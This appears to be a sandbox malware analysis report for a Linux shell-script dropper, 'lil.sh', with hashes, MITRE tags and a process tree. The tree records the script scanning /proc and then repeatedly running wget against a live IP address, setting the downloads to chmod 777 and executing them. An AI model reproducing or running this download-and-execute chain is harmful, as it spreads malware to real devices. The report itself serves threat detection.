623c3907d597ae6161a1c33c826ef3fe4eb6849de852e261ce755cdd2d9d33f7

Analysis

max time kernel
7s
max time network
9s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
09/06/2026, 02:20

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General

Target
lil.sh
Size 847B
Sample260609-csqq4aax61
SHA256 623c3907d597ae6161a1c33c826ef3fe4eb6849de852e261ce755cdd2d9d33f7
MD5 b08fc102614559bbde50eb7bf4a137ba
SHA1 a63122aedaa82c740f14edb1f2f2baf434479c62
SHA512 d3ddeaec9e0ff54a127a4e8728d36b2b1f8f24867ca3ea2912c630127729c9011e3dd6c81c888e2d1000d9639d00b6f31aa3810e17d9a3c3767c1cc1d1d06366
TLSH
T1A70188CFC0158A6014C6E49D32E77148F821C3CB25998FB8BF6C243E8FA8A187095F84
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 5 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
834	chmod
839	chmod
789	chmod
794	chmod
817	chmod

Executes dropped EXE 5 IoCs

ioc	pid	Process
/tmp/WgL	790	lil.sh
/tmp/xkxM	795	lil.sh
/tmp/AA4z	819	lil.sh
/tmp/DzrG	835	lil.sh
/tmp/a9Kw	840	lil.sh

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls

Writes file to tmp directory 6 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/xkxM	wget
File opened for modification	/tmp/AA4z	wget
File opened for modification	/tmp/DzrG	wget
File opened for modification	/tmp/a9Kw	wget
File opened for modification	/tmp/lil	lil.sh
File opened for modification	/tmp/WgL	wget

/tmp/lil.sh
/tmp/lil.sh
1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:649
- /bin/ls
  ls -l /proc/1/exe
  2⤵
  - Reads runtime system information
  PID:652
- /bin/ls
  ls -l /proc/10/exe
  2⤵
  - Reads runtime system information
  PID:658
- /bin/ls
  ls -l /proc/103/exe
  2⤵
  - Reads runtime system information
  PID:663
- /bin/ls
  ls -l /proc/105/exe
  2⤵
  - Reads runtime system information
  PID:672
- /bin/ls
  ls -l /proc/106/exe
  2⤵
  - Reads runtime system information
  PID:674
- /bin/ls
  ls -l /proc/11/exe
  2⤵
  - Reads runtime system information
  PID:676
- /bin/ls
  ls -l /proc/12/exe
  2⤵
  - Reads runtime system information
  PID:678
- /bin/ls
  ls -l /proc/13/exe
  2⤵
  - Reads runtime system information
  PID:681
- /bin/ls
  ls -l /proc/134/exe
  2⤵
  - Reads runtime system information
  PID:683
- /bin/ls
  ls -l /proc/136/exe
  2⤵
  - Reads runtime system information
  PID:684
- /bin/ls
  ls -l /proc/139/exe
  2⤵
  - Reads runtime system information
  PID:685
- /bin/ls
  ls -l /proc/14/exe
  2⤵
  - Reads runtime system information
  PID:686
- /bin/ls
  ls -l /proc/142/exe
  2⤵
  - Reads runtime system information
  PID:687
- /bin/ls
  ls -l /proc/15/exe
  2⤵
  - Reads runtime system information
  PID:689
- /bin/ls
  ls -l /proc/156/exe
  2⤵
  - Reads runtime system information
  PID:690
- /bin/ls
  ls -l /proc/16/exe
  2⤵
  - Reads runtime system information
  PID:691
- /bin/ls
  ls -l /proc/167/exe
  2⤵
  - Reads runtime system information
  PID:692
- /bin/ls
  ls -l /proc/17/exe
  2⤵
  - Reads runtime system information
  PID:693
- /bin/ls
  ls -l /proc/18/exe
  2⤵
  - Reads runtime system information
  PID:694
- /bin/ls
  ls -l /proc/19/exe
  2⤵
  - Reads runtime system information
  PID:695
- /bin/ls
  ls -l /proc/2/exe
  2⤵
  - Reads runtime system information
  PID:696
- /bin/ls
  ls -l /proc/20/exe
  2⤵
  - Reads runtime system information
  PID:697
- /bin/ls
  ls -l /proc/208/exe
  2⤵
  - Reads runtime system information
  PID:698
- /bin/ls
  ls -l /proc/21/exe
  2⤵
  - Reads runtime system information
  PID:699
- /bin/ls
  ls -l /proc/22/exe
  2⤵
  - Reads runtime system information
  PID:700
- /bin/ls
  ls -l /proc/23/exe
  2⤵
  - Reads runtime system information
  PID:701
- /bin/ls
  ls -l /proc/24/exe
  2⤵
  - Reads runtime system information
  PID:702
- /bin/ls
  ls -l /proc/25/exe
  2⤵
  - Reads runtime system information
  PID:703
- /bin/ls
  ls -l /proc/26/exe
  2⤵
  - Reads runtime system information
  PID:704
- /bin/ls
  ls -l /proc/27/exe
  2⤵
  PID:705
- /bin/ls
  ls -l /proc/278/exe
  2⤵
  - Reads runtime system information
  PID:706
- /bin/ls
  ls -l /proc/28/exe
  2⤵
  - Reads runtime system information
  PID:707
- /bin/ls
  ls -l /proc/280/exe
  2⤵
  - Reads runtime system information
  PID:708
- /bin/ls
  ls -l /proc/283/exe
  2⤵
  - Reads runtime system information
  PID:709
- /bin/ls
  ls -l /proc/286/exe
  2⤵
  - Reads runtime system information
  PID:710
- /bin/ls
  ls -l /proc/29/exe
  2⤵
  - Reads runtime system information
  PID:711
- /bin/ls
  ls -l /proc/3/exe
  2⤵
  PID:712
- /bin/ls
  ls -l /proc/310/exe
  2⤵
  - Reads runtime system information
  PID:713
- /bin/ls
  ls -l /proc/313/exe
  2⤵
  - Reads runtime system information
  PID:714
- /bin/ls
  ls -l /proc/314/exe
  2⤵
  - Reads runtime system information
  PID:715
- /bin/ls
  ls -l /proc/323/exe
  2⤵
  - Reads runtime system information
  PID:716
- /bin/ls
  ls -l /proc/325/exe
  2⤵
  - Reads runtime system information
  PID:717
- /bin/ls
  ls -l /proc/4/exe
  2⤵
  - Reads runtime system information
  PID:718
- /bin/ls
  ls -l /proc/41/exe
  2⤵
  - Reads runtime system information
  PID:719
- /bin/ls
  ls -l /proc/42/exe
  2⤵
  - Reads runtime system information
  PID:721
- /bin/ls
  ls -l /proc/43/exe
  2⤵
  - Reads runtime system information
  PID:723
- /bin/ls
  ls -l /proc/5/exe
  2⤵
  - Reads runtime system information
  PID:725
- /bin/ls
  ls -l /proc/573/exe
  2⤵
  - Reads runtime system information
  PID:727
- /bin/ls
  ls -l /proc/585/exe
  2⤵
  - Reads runtime system information
  PID:730
- /bin/ls
  ls -l /proc/588/exe
  2⤵
  - Reads runtime system information
  PID:732
- /bin/ls
  ls -l /proc/592/exe
  2⤵
  - Reads runtime system information
  PID:734
- /bin/ls
  ls -l /proc/593/exe
  2⤵
  - Reads runtime system information
  PID:737
- /bin/ls
  ls -l /proc/6/exe
  2⤵
  - Reads runtime system information
  PID:738
- /bin/ls
  ls -l /proc/638/exe
  2⤵
  - Reads runtime system information
  PID:741
- /bin/ls
  ls -l /proc/639/exe
  2⤵
  - Reads runtime system information
  PID:743
- /bin/ls
  ls -l /proc/643/exe
  2⤵
  - Reads runtime system information
  PID:745
- /bin/ls
  ls -l /proc/645/exe
  2⤵
  - Reads runtime system information
  PID:748
- /bin/ls
  ls -l /proc/646/exe
  2⤵
  - Reads runtime system information
  PID:750
- /bin/ls
  ls -l /proc/648/exe
  2⤵
  - Reads runtime system information
  PID:752
- /bin/ls
  ls -l /proc/649/exe
  2⤵
  - Reads runtime system information
  PID:754
- /bin/ls
  ls -l /proc/651/exe
  2⤵
  - Reads runtime system information
  PID:756
- /bin/ls
  ls -l /proc/7/exe
  2⤵
  - Reads runtime system information
  PID:759
- /bin/ls
  ls -l /proc/74/exe
  2⤵
  - Reads runtime system information
  PID:761
- /bin/ls
  ls -l /proc/8/exe
  2⤵
  - Reads runtime system information
  PID:763
- /bin/ls
  ls -l /proc/9/exe
  2⤵
  - Reads runtime system information
  PID:765
- /bin/ls
  ls -l /proc/95/exe
  2⤵
  - Reads runtime system information
  PID:767
- /bin/rm
  rm -rf WgL
  2⤵
  PID:770
- /usr/bin/wget
  wget http://188.132.232.81/WgL
  2⤵
  - Writes file to tmp directory
  PID:771
- /bin/chmod
  chmod 777 WgL
  2⤵
  - File and Directory Permissions Modification
  PID:789
- /tmp/WgL
  ./WgL lilin
  2⤵
  PID:790
- /bin/sh
  /bin/sh ./WgL lilin
  2⤵
  PID:790
- /bin/rm
  rm -rf xkxM
  2⤵
  PID:792
- /usr/bin/wget
  wget http://188.132.232.81/xkxM
  2⤵
  - Writes file to tmp directory
  PID:793
- /bin/chmod
  chmod 777 xkxM
  2⤵
  - File and Directory Permissions Modification
  PID:794
- /tmp/xkxM
  ./xkxM lilin
  2⤵
  PID:795
- /bin/sh
  /bin/sh ./xkxM lilin
  2⤵
  PID:795
- /bin/rm
  rm -rf AA4z
  2⤵
  PID:797
- /usr/bin/wget
  wget http://188.132.232.81/AA4z
  2⤵
  - Writes file to tmp directory
  PID:798
- /bin/chmod
  chmod 777 AA4z
  2⤵
  - File and Directory Permissions Modification
  PID:817
- /tmp/AA4z
  ./AA4z lilin
  2⤵
  PID:819
- /bin/sh
  /bin/sh ./AA4z lilin
  2⤵
  PID:819
- /bin/rm
  rm -rf DzrG
  2⤵
  PID:822
- /usr/bin/wget
  wget http://188.132.232.81/DzrG
  2⤵
  - Writes file to tmp directory
  PID:823
- /bin/chmod
  chmod 777 DzrG
  2⤵
  - File and Directory Permissions Modification
  PID:834
- /tmp/DzrG
  ./DzrG lilin
  2⤵
  PID:835
- /bin/sh
  /bin/sh ./DzrG lilin
  2⤵
  PID:835
- /bin/rm
  rm -rf a9Kw
  2⤵
  PID:837
- /usr/bin/wget
  wget http://188.132.232.81/a9Kw
  2⤵
  - Writes file to tmp directory
  PID:838
- /bin/chmod
  chmod 777 a9Kw
  2⤵
  - File and Directory Permissions Modification
  PID:839
- /tmp/a9Kw
  ./a9Kw lilin
  2⤵
  PID:840
- /bin/sh
  /bin/sh ./a9Kw lilin
  2⤵
  PID:840
- /bin/rm
  rm -rf lil
  2⤵
  PID:842

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

WgL

Path /tmp/WgL
Size 3B
SHA256 6bdf66b5bf2a44e658bea2ee86695ab150a06e600bf67cd5cce245ad54962c61
MD5 bc949ea893a9384070c31f083ccefd26
SHA1 cbb8391cb65c20e2c05a2f29211e55c49939c3db
SHA512 e4288e71070485637ec5825f510a7daa7e75ef6c71a1b755f51e1b0f2e58e5066837f58408ea74d75db42c49372c6027d433a869904fc5efaf4876dfcfde1287
MD5 SHA1 SHA512

Submit Download

lil

Path /tmp/lil
Size 1B
SHA256 01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b
MD5 68b329da9893e34099c7d8ad5cb9c940
SHA1 adc83b19e793491b1c6ea0fd8b46cd9f32e592fc
SHA512 be688838ca8686e5c90689bf2ab585cef1137c999b48c70b92f67a5c34dc15697b5d11c982ed6d71be1e1e7f7b4e0733884aa97c3f7a339a8ed03577cf74be09
MD5 SHA1 SHA512